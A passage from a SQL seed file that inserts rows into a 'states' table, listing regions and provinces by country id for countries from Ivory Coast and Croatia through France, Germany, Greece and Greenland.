'Moyen-Cavally', 53, NULL, NULL), (861, 'Moyen-Comoe', 53, NULL, NULL), (862, 'N\'\'zi-Comoe', 53, NULL, NULL), (863, 'Sassandra', 53, NULL, NULL), (864, 'Savanes', 53, NULL, NULL), (865, 'Sud-Bandama', 53, NULL, NULL), (866, 'Sud-Comoe', 53, NULL, NULL), (867, 'Vallee du Bandama', 53, NULL, NULL), (868, 'Worodougou', 53, NULL, NULL), (869, 'Zanzan', 53, NULL, NULL), (870, 'Bjelovar-Bilogora', 54, NULL, NULL), (871, 'Dubrovnik-Neretva', 54, NULL, NULL), (872, 'Grad Zagreb', 54, NULL, NULL), (873, 'Istra', 54, NULL, NULL), (874, 'Karlovac', 54, NULL, NULL), (875, 'Koprivnica-Krizhevci', 54, NULL, NULL), (876, 'Krapina-Zagorje', 54, NULL, NULL), (877, 'Lika-Senj', 54, NULL, NULL), (878, 'Medhimurje', 54, NULL, NULL), (879, 'Medimurska Zupanija', 54, NULL, NULL), (880, 'Osijek-Baranja', 54, NULL, NULL), (881, 'Osjecko-Baranjska Zupanija', 54, NULL, NULL), (882, 'Pozhega-Slavonija', 54, NULL, NULL), (883, 'Primorje-Gorski Kotar', 54, NULL, NULL), (884, 'Shibenik-Knin', 54, NULL, NULL), (885, 'Sisak-Moslavina', 54, NULL, NULL), (886, 'Slavonski Brod-Posavina', 54, NULL, NULL), (887, 'Split-Dalmacija', 54, NULL, NULL), (888, 'Varazhdin', 54, NULL, NULL), (889, 'Virovitica-Podravina', 54, NULL, NULL), (890, 'Vukovar-Srijem', 54, NULL, NULL), (891, 'Zadar', 54, NULL, NULL), (892, 'Zagreb', 54, NULL, NULL), (893, 'Camaguey', 55, NULL, NULL), (894, 'Ciego de Avila', 55, NULL, NULL), (895, 'Cienfuegos', 55, NULL, NULL), (896, 'Ciudad de la Habana', 55, NULL, NULL), (897, 'Granma', 55, NULL, NULL), (898, 'Guantanamo', 55, NULL, NULL), (899, 'Habana', 55, NULL, NULL), (900, 'Holguin', 55, NULL, NULL), (901, 'Isla de la Juventud', 55, NULL, NULL), (902, 'La Habana', 55, NULL, NULL), (903, 'Las Tunas', 55, NULL, NULL), (904, 'Matanzas', 55, NULL, NULL), (905, 'Pinar del Rio', 55, NULL, NULL), (906, 'Sancti Spiritus', 55, NULL, NULL), (907, 'Santiago de Cuba', 55, NULL, NULL), (908, 'Villa Clara', 55, NULL, NULL), (909, 'Government controlled area', 56, NULL, NULL), (910, 'Limassol', 56, NULL, NULL), (911, 'Nicosia District', 56, NULL, NULL), (912, 'Paphos', 56, NULL, NULL), (913, 'Turkish controlled area', 56, NULL, NULL), (914, 'Central Bohemian', 57, NULL, NULL), (915, 'Frycovice', 57, NULL, NULL), (916, 'Jihocesky Kraj', 57, NULL, NULL), (917, 'Jihochesky', 57, NULL, NULL), (918, 'Jihomoravsky', 57, NULL, NULL), (919, 'Karlovarsky', 57, NULL, NULL), (920, 'Klecany', 57, NULL, NULL), (921, 'Kralovehradecky', 57, NULL, NULL), (922, 'Liberecky', 57, NULL, NULL), (923, 'Lipov', 57, NULL, NULL), (924, 'Moravskoslezsky', 57, NULL, NULL), (925, 'Olomoucky', 57, NULL, NULL), (926, 'Olomoucky Kraj', 57, NULL, NULL), (927, 'Pardubicky', 57, NULL, NULL), (928, 'Plzensky', 57, NULL, NULL), (929, 'Praha', 57, NULL, NULL), (930, 'Rajhrad', 57, NULL, NULL), (931, 'Smirice', 57, NULL, NULL), (932, 'South Moravian', 57, NULL, NULL), (933, 'Straz nad Nisou', 57, NULL, NULL), (934, 'Stredochesky', 57, NULL, NULL), (935, 'Unicov', 57, NULL, NULL), (936, 'Ustecky', 57, NULL, NULL), (937, 'Valletta', 57, NULL, NULL), (938, 'Velesin', 57, NULL, NULL), (939, 'Vysochina', 57, NULL, NULL), (940, 'Zlinsky', 57, NULL, NULL), (941, 'Arhus', 58, NULL, NULL), (942, 'Bornholm', 58, NULL, NULL), (943, 'Frederiksborg', 58, NULL, NULL), (944, 'Fyn', 58, NULL, NULL), (945, 'Hovedstaden', 58, NULL, NULL), (946, 'Kobenhavn', 58, NULL, NULL), (947, 'Kobenhavns Amt', 58, NULL, NULL), (948, 'Kobenhavns Kommune', 58, NULL, NULL), (949, 'Nordjylland', 58, NULL, NULL), (950, 'Ribe', 58, NULL, NULL), (951, 'Ringkobing', 58, NULL, NULL), (952, 'Roervig', 58, NULL, NULL), (953, 'Roskilde', 58, NULL, NULL), (954, 'Roslev', 58, NULL, NULL), (955, 'Sjaelland', 58, NULL, NULL), (956, 'Soeborg', 58, NULL, NULL), (957, 'Sonderjylland', 58, NULL, NULL), (958, 'Storstrom', 58, NULL, NULL), (959, 'Syddanmark', 58, NULL, NULL), (960, 'Toelloese', 58, NULL, NULL), (961, 'Vejle', 58, NULL, NULL), (962, 'Vestsjalland', 58, NULL, NULL), (963, 'Viborg', 58, NULL, NULL), (964, 'Ali Sabih', 59, NULL, NULL), (965, 'Dikhil', 59, NULL, NULL), (966, 'Jibuti', 59, NULL, NULL), (967, 'Tajurah', 59, NULL, NULL), (968, 'Ubuk', 59, NULL, NULL), (969, 'Saint Andrew', 60, NULL, NULL), (970, 'Saint David', 60, NULL, NULL), (971, 'Saint George', 60, NULL, NULL), (972, 'Saint John', 60, NULL, NULL), (973, 'Saint Joseph', 60, NULL, NULL), (974, 'Saint Luke', 60, NULL, NULL), (975, 'Saint Mark', 60, NULL, NULL), (976, 'Saint Patrick', 60, NULL, NULL), (977, 'Saint Paul', 60, NULL, NULL), (978, 'Saint Peter', 60, NULL, NULL), (979, 'Azua', 61, NULL, NULL), (980, 'Bahoruco', 61, NULL, NULL), (981, 'Barahona', 61, NULL, NULL), (982, 'Dajabon', 61, NULL, NULL), (983, 'Distrito Nacional', 61, NULL, NULL), (984, 'Duarte', 61, NULL, NULL), (985, 'El Seybo', 61, NULL, NULL), (986, 'Elias Pina', 61, NULL, NULL), (987, 'Espaillat', 61, NULL, NULL), (988, 'Hato Mayor', 61, NULL, NULL), (989, 'Independencia', 61, NULL, NULL), (990, 'La Altagracia', 61, NULL, NULL), (991, 'La Romana', 61, NULL, NULL), (992, 'La Vega', 61, NULL, NULL), (993, 'Maria Trinidad Sanchez', 61, NULL, NULL), (994, 'Monsenor Nouel', 61, NULL, NULL), (995, 'Monte Cristi', 61, NULL, NULL), (996, 'Monte Plata', 61, NULL, NULL), (997, 'Pedernales', 61, NULL, NULL), (998, 'Peravia', 61, NULL, NULL), (999, 'Puerto Plata', 61, NULL, NULL), (1000, 'Salcedo', 61, NULL, NULL), (1001, 'Samana', 61, NULL, NULL), (1002, 'San Cristobal', 61, NULL, NULL), (1003, 'San Juan', 61, NULL, NULL), (1004, 'San Pedro de Macoris', 61, NULL, NULL), (1005, 'Sanchez Ramirez', 61, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (1006, 'Santiago', 61, NULL, NULL), (1007, 'Santiago Rodriguez', 61, NULL, NULL), (1008, 'Valverde', 61, NULL, NULL), (1009, 'Aileu', 62, NULL, NULL), (1010, 'Ainaro', 62, NULL, NULL), (1011, 'Ambeno', 62, NULL, NULL), (1012, 'Baucau', 62, NULL, NULL), (1013, 'Bobonaro', 62, NULL, NULL), (1014, 'Cova Lima', 62, NULL, NULL), (1015, 'Dili', 62, NULL, NULL), (1016, 'Ermera', 62, NULL, NULL), (1017, 'Lautem', 62, NULL, NULL), (1018, 'Liquica', 62, NULL, NULL), (1019, 'Manatuto', 62, NULL, NULL), (1020, 'Manufahi', 62, NULL, NULL), (1021, 'Viqueque', 62, NULL, NULL), (1022, 'Azuay', 63, NULL, NULL), (1023, 'Bolivar', 63, NULL, NULL), (1024, 'Canar', 63, NULL, NULL), (1025, 'Carchi', 63, NULL, NULL), (1026, 'Chimborazo', 63, NULL, NULL), (1027, 'Cotopaxi', 63, NULL, NULL), (1028, 'El Oro', 63, NULL, NULL), (1029, 'Esmeraldas', 63, NULL, NULL), (1030, 'Galapagos', 63, NULL, NULL), (1031, 'Guayas', 63, NULL, NULL), (1032, 'Imbabura', 63, NULL, NULL), (1033, 'Loja', 63, NULL, NULL), (1034, 'Los Rios', 63, NULL, NULL), (1035, 'Manabi', 63, NULL, NULL), (1036, 'Morona Santiago', 63, NULL, NULL), (1037, 'Napo', 63, NULL, NULL), (1038, 'Orellana', 63, NULL, NULL), (1039, 'Pastaza', 63, NULL, NULL), (1040, 'Pichincha', 63, NULL, NULL), (1041, 'Sucumbios', 63, NULL, NULL), (1042, 'Tungurahua', 63, NULL, NULL), (1043, 'Zamora Chinchipe', 63, NULL, NULL), (1044, 'Aswan', 64, NULL, NULL), (1045, 'Asyut', 64, NULL, NULL), (1046, 'Bani Suwayf', 64, NULL, NULL), (1047, 'Bur Sa\'\'id', 64, NULL, NULL), (1048, 'Cairo', 64, NULL, NULL), (1049, 'Dumyat', 64, NULL, NULL), (1050, 'Kafr-ash-Shaykh', 64, NULL, NULL), (1051, 'Matruh', 64, NULL, NULL), (1052, 'Muhafazat ad Daqahliyah', 64, NULL, NULL), (1053, 'Muhafazat al Fayyum', 64, NULL, NULL), (1054, 'Muhafazat al Gharbiyah', 64, NULL, NULL), (1055, 'Muhafazat al Iskandariyah', 64, NULL, NULL), (1056, 'Muhafazat al Qahirah', 64, NULL, NULL), (1057, 'Qina', 64, NULL, NULL), (1058, 'Sawhaj', 64, NULL, NULL), (1059, 'Sina al-Janubiyah', 64, NULL, NULL), (1060, 'Sina ash-Shamaliyah', 64, NULL, NULL), (1061, 'ad-Daqahliyah', 64, NULL, NULL), (1062, 'al-Bahr-al-Ahmar', 64, NULL, NULL), (1063, 'al-Buhayrah', 64, NULL, NULL), (1064, 'al-Fayyum', 64, NULL, NULL), (1065, 'al-Gharbiyah', 64, NULL, NULL), (1066, 'al-Iskandariyah', 64, NULL, NULL), (1067, 'al-Ismailiyah', 64, NULL, NULL), (1068, 'al-Jizah', 64, NULL, NULL), (1069, 'al-Minufiyah', 64, NULL, NULL), (1070, 'al-Minya', 64, NULL, NULL), (1071, 'al-Qahira', 64, NULL, NULL), (1072, 'al-Qalyubiyah', 64, NULL, NULL), (1073, 'al-Uqsur', 64, NULL, NULL), (1074, 'al-Wadi al-Jadid', 64, NULL, NULL), (1075, 'as-Suways', 64, NULL, NULL), (1076, 'ash-Sharqiyah', 64, NULL, NULL), (1077, 'Ahuachapan', 65, NULL, NULL), (1078, 'Cabanas', 65, NULL, NULL), (1079, 'Chalatenango', 65, NULL, NULL), (1080, 'Cuscatlan', 65, NULL, NULL), (1081, 'La Libertad', 65, NULL, NULL), (1082, 'La Paz', 65, NULL, NULL), (1083, 'La Union', 65, NULL, NULL), (1084, 'Morazan', 65, NULL, NULL), (1085, 'San Miguel', 65, NULL, NULL), (1086, 'San Salvador', 65, NULL, NULL), (1087, 'San Vicente', 65, NULL, NULL), (1088, 'Santa Ana', 65, NULL, NULL), (1089, 'Sonsonate', 65, NULL, NULL), (1090, 'Usulutan', 65, NULL, NULL), (1091, 'Annobon', 66, NULL, NULL), (1092, 'Bioko Norte', 66, NULL, NULL), (1093, 'Bioko Sur', 66, NULL, NULL), (1094, 'Centro Sur', 66, NULL, NULL), (1095, 'Kie-Ntem', 66, NULL, NULL), (1096, 'Litoral', 66, NULL, NULL), (1097, 'Wele-Nzas', 66, NULL, NULL), (1098, 'Anseba', 67, NULL, NULL), (1099, 'Debub', 67, NULL, NULL), (1100, 'Debub-Keih-Bahri', 67, NULL, NULL), (1101, 'Gash-Barka', 67, NULL, NULL), (1102, 'Maekel', 67, NULL, NULL), (1103, 'Semien-Keih-Bahri', 67, NULL, NULL), (1104, 'Harju', 68, NULL, NULL), (1105, 'Hiiu', 68, NULL, NULL), (1106, 'Ida-Viru', 68, NULL, NULL), (1107, 'Jarva', 68, NULL, NULL), (1108, 'Jogeva', 68, NULL, NULL), (1109, 'Laane', 68, NULL, NULL), (1110, 'Laane-Viru', 68, NULL, NULL), (1111, 'Parnu', 68, NULL, NULL), (1112, 'Polva', 68, NULL, NULL), (1113, 'Rapla', 68, NULL, NULL), (1114, 'Saare', 68, NULL, NULL), (1115, 'Tartu', 68, NULL, NULL), (1116, 'Valga', 68, NULL, NULL), (1117, 'Viljandi', 68, NULL, NULL), (1118, 'Voru', 68, NULL, NULL), (1119, 'Addis Abeba', 69, NULL, NULL), (1120, 'Afar', 69, NULL, NULL), (1121, 'Amhara', 69, NULL, NULL), (1122, 'Benishangul', 69, NULL, NULL), (1123, 'Diredawa', 69, NULL, NULL), (1124, 'Gambella', 69, NULL, NULL), (1125, 'Harar', 69, NULL, NULL), (1126, 'Jigjiga', 69, NULL, NULL), (1127, 'Mekele', 69, NULL, NULL), (1128, 'Oromia', 69, NULL, NULL), (1129, 'Somali', 69, NULL, NULL), (1130, 'Southern', 69, NULL, NULL), (1131, 'Tigray', 69, NULL, NULL), (1132, 'Christmas Island', 70, NULL, NULL), (1133, 'Cocos Islands', 70, NULL, NULL), (1134, 'Coral Sea Islands', 70, NULL, NULL), (1135, 'Falkland Islands', 71, NULL, NULL), (1136, 'South Georgia', 71, NULL, NULL), (1137, 'Klaksvik', 72, NULL, NULL), (1138, 'Nor ara Eysturoy', 72, NULL, NULL), (1139, 'Nor oy', 72, NULL, NULL), (1140, 'Sandoy', 72, NULL, NULL), (1141, 'Streymoy', 72, NULL, NULL), (1142, 'Su uroy', 72, NULL, NULL), (1143, 'Sy ra Eysturoy', 72, NULL, NULL), (1144, 'Torshavn', 72, NULL, NULL), (1145, 'Vaga', 72, NULL, NULL), (1146, 'Central', 73, NULL, NULL), (1147, 'Eastern', 73, NULL, NULL), (1148, 'Northern', 73, NULL, NULL), (1149, 'South Pacific', 73, NULL, NULL), (1150, 'Western', 73, NULL, NULL), (1151, 'Ahvenanmaa', 74, NULL, NULL), (1152, 'Etela-Karjala', 74, NULL, NULL), (1153, 'Etela-Pohjanmaa', 74, NULL, NULL), (1154, 'Etela-Savo', 74, NULL, NULL), (1155, 'Etela-Suomen Laani', 74, NULL, NULL), (1156, 'Ita-Suomen Laani', 74, NULL, NULL), (1157, 'Ita-Uusimaa', 74, NULL, NULL), (1158, 'Kainuu', 74, NULL, NULL), (1159, 'Kanta-Hame', 74, NULL, NULL), (1160, 'Keski-Pohjanmaa', 74, NULL, NULL), (1161, 'Keski-Suomi', 74, NULL, NULL), (1162, 'Kymenlaakso', 74, NULL, NULL), (1163, 'Lansi-Suomen Laani', 74, NULL, NULL), (1164, 'Lappi', 74, NULL, NULL), (1165, 'Northern Savonia', 74, NULL, NULL), (1166, 'Ostrobothnia', 74, NULL, NULL), (1167, 'Oulun Laani', 74, NULL, NULL), (1168, 'Paijat-Hame', 74, NULL, NULL), (1169, 'Pirkanmaa', 74, NULL, NULL), (1170, 'Pohjanmaa', 74, NULL, NULL), (1171, 'Pohjois-Karjala', 74, NULL, NULL), (1172, 'Pohjois-Pohjanmaa', 74, NULL, NULL), (1173, 'Pohjois-Savo', 74, NULL, NULL), (1174, 'Saarijarvi', 74, NULL, NULL), (1175, 'Satakunta', 74, NULL, NULL), (1176, 'Southern Savonia', 74, NULL, NULL), (1177, 'Tavastia Proper', 74, NULL, NULL), (1178, 'Uleaborgs Lan', 74, NULL, NULL), (1179, 'Uusimaa', 74, NULL, NULL), (1180, 'Varsinais-Suomi', 74, NULL, NULL), (1181, 'Ain', 75, NULL, NULL), (1182, 'Aisne', 75, NULL, NULL), (1183, 'Albi Le Sequestre', 75, NULL, NULL), (1184, 'Allier', 75, NULL, NULL), (1185, 'Alpes-Cote dAzur', 75, NULL, NULL), (1186, 'Alpes-Maritimes', 75, NULL, NULL), (1187, 'Alpes-de-Haute-Provence', 75, NULL, NULL), (1188, 'Alsace', 75, NULL, NULL), (1189, 'Aquitaine', 75, NULL, NULL), (1190, 'Ardeche', 75, NULL, NULL), (1191, 'Ardennes', 75, NULL, NULL), (1192, 'Ariege', 75, NULL, NULL), (1193, 'Aube', 75, NULL, NULL), (1194, 'Aude', 75, NULL, NULL), (1195, 'Auvergne', 75, NULL, NULL), (1196, 'Aveyron', 75, NULL, NULL), (1197, 'Bas-Rhin', 75, NULL, NULL), (1198, 'Basse-Normandie', 75, NULL, NULL), (1199, 'Bouches-du-Rhone', 75, NULL, NULL), (1200, 'Bourgogne', 75, NULL, NULL), (1201, 'Bretagne', 75, NULL, NULL), (1202, 'Brittany', 75, NULL, NULL), (1203, 'Burgundy', 75, NULL, NULL), (1204, 'Calvados', 75, NULL, NULL), (1205, 'Cantal', 75, NULL, NULL), (1206, 'Cedex', 75, NULL, NULL), (1207, 'Centre', 75, NULL, NULL), (1208, 'Charente', 75, NULL, NULL), (1209, 'Charente-Maritime', 75, NULL, NULL), (1210, 'Cher', 75, NULL, NULL), (1211, 'Correze', 75, NULL, NULL), (1212, 'Corse-du-Sud', 75, NULL, NULL), (1213, 'Cote-d\'\'Or', 75, NULL, NULL), (1214, 'Cotes-d\'\'Armor', 75, NULL, NULL), (1215, 'Creuse', 75, NULL, NULL), (1216, 'Crolles', 75, NULL, NULL), (1217, 'Deux-Sevres', 75, NULL, NULL), (1218, 'Dordogne', 75, NULL, NULL), (1219, 'Doubs', 75, NULL, NULL), (1220, 'Drome', 75, NULL, NULL), (1221, 'Essonne', 75, NULL, NULL), (1222, 'Eure', 75, NULL, NULL), (1223, 'Eure-et-Loir', 75, NULL, NULL), (1224, 'Feucherolles', 75, NULL, NULL), (1225, 'Finistere', 75, NULL, NULL), (1226, 'Franche-Comte', 75, NULL, NULL), (1227, 'Gard', 75, NULL, NULL), (1228, 'Gers', 75, NULL, NULL), (1229, 'Gironde', 75, NULL, NULL), (1230, 'Haut-Rhin', 75, NULL, NULL), (1231, 'Haute-Corse', 75, NULL, NULL), (1232, 'Haute-Garonne', 75, NULL, NULL), (1233, 'Haute-Loire', 75, NULL, NULL), (1234, 'Haute-Marne', 75, NULL, NULL), (1235, 'Haute-Saone', 75, NULL, NULL), (1236, 'Haute-Savoie', 75, NULL, NULL), (1237, 'Haute-Vienne', 75, NULL, NULL), (1238, 'Hautes-Alpes', 75, NULL, NULL), (1239, 'Hautes-Pyrenees', 75, NULL, NULL), (1240, 'Hauts-de-Seine', 75, NULL, NULL), (1241, 'Herault', 75, NULL, NULL), (1242, 'Ile-de-France', 75, NULL, NULL), (1243, 'Ille-et-Vilaine', 75, NULL, NULL), (1244, 'Indre', 75, NULL, NULL), (1245, 'Indre-et-Loire', 75, NULL, NULL), (1246, 'Isere', 75, NULL, NULL), (1247, 'Jura', 75, NULL, NULL), (1248, 'Klagenfurt', 75, NULL, NULL), (1249, 'Landes', 75, NULL, NULL), (1250, 'Languedoc-Roussillon', 75, NULL, NULL), (1251, 'Larcay', 75, NULL, NULL), (1252, 'Le Castellet', 75, NULL, NULL), (1253, 'Le Creusot', 75, NULL, NULL), (1254, 'Limousin', 75, NULL, NULL), (1255, 'Loir-et-Cher', 75, NULL, NULL), (1256, 'Loire', 75, NULL, NULL), (1257, 'Loire-Atlantique', 75, NULL, NULL), (1258, 'Loiret', 75, NULL, NULL), (1259, 'Lorraine', 75, NULL, NULL), (1260, 'Lot', 75, NULL, NULL), (1261, 'Lot-et-Garonne', 75, NULL, NULL), (1262, 'Lower Normandy', 75, NULL, NULL), (1263, 'Lozere', 75, NULL, NULL), (1264, 'Maine-et-Loire', 75, NULL, NULL), (1265, 'Manche', 75, NULL, NULL), (1266, 'Marne', 75, NULL, NULL), (1267, 'Mayenne', 75, NULL, NULL), (1268, 'Meurthe-et-Moselle', 75, NULL, NULL), (1269, 'Meuse', 75, NULL, NULL), (1270, 'Midi-Pyrenees', 75, NULL, NULL), (1271, 'Morbihan', 75, NULL, NULL), (1272, 'Moselle', 75, NULL, NULL), (1273, 'Nievre', 75, NULL, NULL), (1274, 'Nord', 75, NULL, NULL), (1275, 'Nord-Pas-de-Calais', 75, NULL, NULL), (1276, 'Oise', 75, NULL, NULL), (1277, 'Orne', 75, NULL, NULL), (1278, 'Paris', 75, NULL, NULL), (1279, 'Pas-de-Calais', 75, NULL, NULL), (1280, 'Pays de la Loire', 75, NULL, NULL), (1281, 'Pays-de-la-Loire', 75, NULL, NULL), (1282, 'Picardy', 75, NULL, NULL), (1283, 'Puy-de-Dome', 75, NULL, NULL), (1284, 'Pyrenees-Atlantiques', 75, NULL, NULL), (1285, 'Pyrenees-Orientales', 75, NULL, NULL), (1286, 'Quelmes', 75, NULL, NULL), (1287, 'Rhone', 75, NULL, NULL), (1288, 'Rhone-Alpes', 75, NULL, NULL), (1289, 'Saint Ouen', 75, NULL, NULL), (1290, 'Saint Viatre', 75, NULL, NULL), (1291, 'Saone-et-Loire', 75, NULL, NULL), (1292, 'Sarthe', 75, NULL, NULL), (1293, 'Savoie', 75, NULL, NULL), (1294, 'Seine-Maritime', 75, NULL, NULL), (1295, 'Seine-Saint-Denis', 75, NULL, NULL), (1296, 'Seine-et-Marne', 75, NULL, NULL), (1297, 'Somme', 75, NULL, NULL), (1298, 'Sophia Antipolis', 75, NULL, NULL), (1299, 'Souvans', 75, NULL, NULL), (1300, 'Tarn', 75, NULL, NULL), (1301, 'Tarn-et-Garonne', 75, NULL, NULL), (1302, 'Territoire de Belfort', 75, NULL, NULL), (1303, 'Treignac', 75, NULL, NULL), (1304, 'Upper Normandy', 75, NULL, NULL), (1305, 'Val-d\'\'Oise', 75, NULL, NULL), (1306, 'Val-de-Marne', 75, NULL, NULL), (1307, 'Var', 75, NULL, NULL), (1308, 'Vaucluse', 75, NULL, NULL), (1309, 'Vellise', 75, NULL, NULL), (1310, 'Vendee', 75, NULL, NULL), (1311, 'Vienne', 75, NULL, NULL), (1312, 'Vosges', 75, NULL, NULL), (1313, 'Yonne', 75, NULL, NULL), (1314, 'Yvelines', 75, NULL, NULL), (1315, 'Cayenne', 76, NULL, NULL), (1316, 'Saint-Laurent-du-Maroni', 76, NULL, NULL), (1317, 'Iles du Vent', 77, NULL, NULL), (1318, 'Iles sous le Vent', 77, NULL, NULL), (1319, 'Marquesas', 77, NULL, NULL), (1320, 'Tuamotu', 77, NULL, NULL), (1321, 'Tubuai', 77, NULL, NULL), (1322, 'Amsterdam', 78, NULL, NULL), (1323, 'Crozet Islands', 78, NULL, NULL), (1324, 'Kerguelen', 78, NULL, NULL), (1325, 'Estuaire', 79, NULL, NULL), (1326, 'Haut-Ogooue', 79, NULL, NULL), (1327, 'Moyen-Ogooue', 79, NULL, NULL), (1328, 'Ngounie', 79, NULL, NULL), (1329, 'Nyanga', 79, NULL, NULL), (1330, 'Ogooue-Ivindo', 79, NULL, NULL), (1331, 'Ogooue-Lolo', 79, NULL, NULL), (1332, 'Ogooue-Maritime', 79, NULL, NULL), (1333, 'Woleu-Ntem', 79, NULL, NULL), (1334, 'Banjul', 80, NULL, NULL), (1335, 'Basse', 80, NULL, NULL), (1336, 'Brikama', 80, NULL, NULL), (1337, 'Janjanbureh', 80, NULL, NULL), (1338, 'Kanifing', 80, NULL, NULL), (1339, 'Kerewan', 80, NULL, NULL), (1340, 'Kuntaur', 80, NULL, NULL), (1341, 'Mansakonko', 80, NULL, NULL), (1342, 'Abhasia', 81, NULL, NULL), (1343, 'Ajaria', 81, NULL, NULL), (1344, 'Guria', 81, NULL, NULL), (1345, 'Imereti', 81, NULL, NULL), (1346, 'Kaheti', 81, NULL, NULL), (1347, 'Kvemo Kartli', 81, NULL, NULL), (1348, 'Mcheta-Mtianeti', 81, NULL, NULL), (1349, 'Racha', 81, NULL, NULL), (1350, 'Samagrelo-Zemo Svaneti', 81, NULL, NULL), (1351, 'Samche-Zhavaheti', 81, NULL, NULL), (1352, 'Shida Kartli', 81, NULL, NULL), (1353, 'Tbilisi', 81, NULL, NULL), (1354, 'Auvergne', 82, NULL, NULL), (1355, 'Baden-Wurttemberg', 82, NULL, NULL), (1356, 'Bavaria', 82, NULL, NULL), (1357, 'Bayern', 82, NULL, NULL), (1358, 'Beilstein Wurtt', 82, NULL, NULL), (1359, 'Berlin', 82, NULL, NULL), (1360, 'Brandenburg', 82, NULL, NULL), (1361, 'Bremen', 82, NULL, NULL), (1362, 'Dreisbach', 82, NULL, NULL), (1363, 'Freistaat Bayern', 82, NULL, NULL), (1364, 'Hamburg', 82, NULL, NULL), (1365, 'Hannover', 82, NULL, NULL), (1366, 'Heroldstatt', 82, NULL, NULL), (1367, 'Hessen', 82, NULL, NULL), (1368, 'Kortenberg', 82, NULL, NULL), (1369, 'Laasdorf', 82, NULL, NULL), (1370, 'Land Baden-Wurttemberg', 82, NULL, NULL), (1371, 'Land Bayern', 82, NULL, NULL), (1372, 'Land Brandenburg', 82, NULL, NULL), (1373, 'Land Hessen', 82, NULL, NULL), (1374, 'Land Mecklenburg-Vorpommern', 82, NULL, NULL), (1375, 'Land Nordrhein-Westfalen', 82, NULL, NULL), (1376, 'Land Rheinland-Pfalz', 82, NULL, NULL), (1377, 'Land Sachsen', 82, NULL, NULL), (1378, 'Land Sachsen-Anhalt', 82, NULL, NULL), (1379, 'Land Thuringen', 82, NULL, NULL), (1380, 'Lower Saxony', 82, NULL, NULL), (1381, 'Mecklenburg-Vorpommern', 82, NULL, NULL), (1382, 'Mulfingen', 82, NULL, NULL), (1383, 'Munich', 82, NULL, NULL), (1384, 'Neubeuern', 82, NULL, NULL), (1385, 'Niedersachsen', 82, NULL, NULL), (1386, 'Noord-Holland', 82, NULL, NULL), (1387, 'Nordrhein-Westfalen', 82, NULL, NULL), (1388, 'North Rhine-Westphalia', 82, NULL, NULL), (1389, 'Osterode', 82, NULL, NULL), (1390, 'Rheinland-Pfalz', 82, NULL, NULL), (1391, 'Rhineland-Palatinate', 82, NULL, NULL), (1392, 'Saarland', 82, NULL, NULL), (1393, 'Sachsen', 82, NULL, NULL), (1394, 'Sachsen-Anhalt', 82, NULL, NULL), (1395, 'Saxony', 82, NULL, NULL), (1396, 'Schleswig-Holstein', 82, NULL, NULL), (1397, 'Thuringia', 82, NULL, NULL), (1398, 'Webling', 82, NULL, NULL), (1399, 'Weinstrabe', 82, NULL, NULL), (1400, 'schlobborn', 82, NULL, NULL), (1401, 'Ashanti', 83, NULL, NULL), (1402, 'Brong-Ahafo', 83, NULL, NULL), (1403, 'Central', 83, NULL, NULL), (1404, 'Eastern', 83, NULL, NULL), (1405, 'Greater Accra', 83, NULL, NULL), (1406, 'Northern', 83, NULL, NULL), (1407, 'Upper East', 83, NULL, NULL), (1408, 'Upper West', 83, NULL, NULL), (1409, 'Volta', 83, NULL, NULL), (1410, 'Western', 83, NULL, NULL), (1411, 'Gibraltar', 84, NULL, NULL), (1412, 'Acharnes', 85, NULL, NULL), (1413, 'Ahaia', 85, NULL, NULL), (1414, 'Aitolia kai Akarnania', 85, NULL, NULL), (1415, 'Argolis', 85, NULL, NULL), (1416, 'Arkadia', 85, NULL, NULL), (1417, 'Arta', 85, NULL, NULL), (1418, 'Attica', 85, NULL, NULL), (1419, 'Attiki', 85, NULL, NULL), (1420, 'Ayion Oros', 85, NULL, NULL), (1421, 'Crete', 85, NULL, NULL), (1422, 'Dodekanisos', 85, NULL, NULL), (1423, 'Drama', 85, NULL, NULL), (1424, 'Evia', 85, NULL, NULL), (1425, 'Evritania', 85, NULL, NULL), (1426, 'Evros', 85, NULL, NULL), (1427, 'Evvoia', 85, NULL, NULL), (1428, 'Florina', 85, NULL, NULL), (1429, 'Fokis', 85, NULL, NULL), (1430, 'Fthiotis', 85, NULL, NULL), (1431, 'Grevena', 85, NULL, NULL), (1432, 'Halandri', 85, NULL, NULL), (1433, 'Halkidiki', 85, NULL, NULL), (1434, 'Hania', 85, NULL, NULL), (1435, 'Heraklion', 85, NULL, NULL), (1436, 'Hios', 85, NULL, NULL), (1437, 'Ilia', 85, NULL, NULL), (1438, 'Imathia', 85, NULL, NULL), (1439, 'Ioannina', 85, NULL, NULL), (1440, 'Iraklion', 85, NULL, NULL), (1441, 'Karditsa', 85, NULL, NULL), (1442, 'Kastoria', 85, NULL, NULL), (1443, 'Kavala', 85, NULL, NULL), (1444, 'Kefallinia', 85, NULL, NULL), (1445, 'Kerkira', 85, NULL, NULL), (1446, 'Kiklades', 85, NULL, NULL), (1447, 'Kilkis', 85, NULL, NULL), (1448, 'Korinthia', 85, NULL, NULL), (1449, 'Kozani', 85, NULL, NULL), (1450, 'Lakonia', 85, NULL, NULL), (1451, 'Larisa', 85, NULL, NULL), (1452, 'Lasithi', 85, NULL, NULL), (1453, 'Lesvos', 85, NULL, NULL), (1454, 'Levkas', 85, NULL, NULL), (1455, 'Magnisia', 85, NULL, NULL), (1456, 'Messinia', 85, NULL, NULL), (1457, 'Nomos Attikis', 85, NULL, NULL), (1458, 'Nomos Zakynthou', 85, NULL, NULL), (1459, 'Pella', 85, NULL, NULL), (1460, 'Pieria', 85, NULL, NULL), (1461, 'Piraios', 85, NULL, NULL), (1462, 'Preveza', 85, NULL, NULL), (1463, 'Rethimni', 85, NULL, NULL), (1464, 'Rodopi', 85, NULL, NULL), (1465, 'Samos', 85, NULL, NULL), (1466, 'Serrai', 85, NULL, NULL), (1467, 'Thesprotia', 85, NULL, NULL), (1468, 'Thessaloniki', 85, NULL, NULL), (1469, 'Trikala', 85, NULL, NULL), (1470, 'Voiotia', 85, NULL, NULL), (1471, 'West Greece', 85, NULL, NULL), (1472, 'Xanthi', 85, NULL, NULL), (1473, 'Zakinthos', 85, NULL, NULL), (1474, 'Aasiaat', 86, NULL, NULL), (1475, 'Ammassalik', 86, NULL, NULL), (1476, 'Illoqqortoormiut', 86, NULL, NULL), (1477, 'Ilulissat', 86, NULL, NULL), (1478, 'Ivittuut', 86, NULL, NULL), (1479, 'Kangaatsiaq', 86, NULL, NULL), (1480, 'Maniitsoq', 86, NULL, NULL), 